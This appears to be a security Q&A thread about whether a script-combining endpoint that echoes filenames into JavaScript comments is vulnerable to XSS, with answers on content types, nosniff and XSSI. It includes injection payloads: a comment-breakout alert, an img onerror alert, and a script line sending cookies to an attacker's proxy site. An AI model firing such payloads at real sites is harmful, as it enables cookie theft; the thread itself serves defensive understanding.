XSS vulnerability in raw script response?

Question

We recently had a security scan done on our production web applications and received a notification of a potential XSS vulnerability on a particular URL that is used to retrieve a combined response containing multiple js files.

Example: http://example.com/CombinedScripts?file=foo.js&file=bar.js

And the server would return the contents of both foo.js and bar.js combined/minified/etc. If you pass in an invalid filename, it includes in the response the name of the file it couldn't find inside a comment in the javascript.

Example: /* Unable to find file 'foo2.js' */

I was able to successfully craft an HTML page that pointed to this CombinedScripts handler and displayed an alert box using a script tag with a URL like:

http://example.com/CombinedScripts?file=*/alert(1);/*

Since this URL only returns javascript (not HTML), is this actually an XSS vulnerability?

The pages where this URL is referenced throughout the site don't use any untrusted user input in generating the URL.

There is no actual HTML involved here and pointing a user directly to this URL would just make the javascript show up in their browser, not execute it.

If I had my own HTML page and could put the malicious URL in a script tag, then I can inject malicious javascript but it would be running in the context of the page I already control, not the context of the site that served the javascript so I could just as easily put the script directly in the HTML page I control.

Answer 1

Generally speaking, no, this is not a Cross Site Scripting (XSS) issue.

You can have three problems:

1. If the attacker control the first bytes of the output, the Rosetta Flash attack can be used to trigger a Cross Site Scripting (XSS), regardless of the content-type of the page. But if you start the output with /*, like you said you do, I can not see any risk;
2. Outdated browsers (e.g.: IE 7) have content-sniffing issues, so even you setting the content-type of your page to text/javascript, an attacker could trick the browser to execute your page as HTML. Nowadays, this type of attack is very rare. Use the following header to become safer;

X-Content-Type-Options: nosniff

3. If you have sensitive informations in your javascript based on an authenticated session, you have other vulnerability, called Cross Site Script Inclusion (XSSI).

Important update:

I am supposing you are serving the page with Content-Type: text/javascript.

If you are serving the page with Content-Type: text/html and you are not encoding < and >, you are completely vulnerable to XSS.

Example:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

Answer 2

What about a link such as http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script> ?

Do your properly encode the html characters passed in?

Edit: Since this appears to allow the attacker to send any javascript from you webiste site to thier webpage, I thought this would allow them to access data they shouldn't. But it seems I was mistaken and the same origin protection is based on the origin of the html page the javascript is in, not the javascript file. Thus your vulnerability is if they can managed to return an entire web page.

Answer 3

Depends on if you are serving the content-type correctly on your js files. It is a common misonfiguration for js files to be served with text/html content-type. This won't break a page including the js file, but it will cause a modern browser to render the file as html if the url is enterred directly in the address bar.

A scammer can send bogus urls via emails to targets in hopes that they will click the seemingly safe looking url. But if the js files is served as html and rendered, then they can execute arbitrary js code on the client and potentially exfiltrate cookies or any other confidential information available to that page. Worse, they may even be able to take advantage of any zero-day vulnerabilities that may exist in the client browser.

In practice I would say to change that mechanism so it is not dependent on url input, or at the very least it should perform input validation checking and output an error on unrecognized input. But in theory you will be much safer if you ensure you are serving the content-type as text/javascript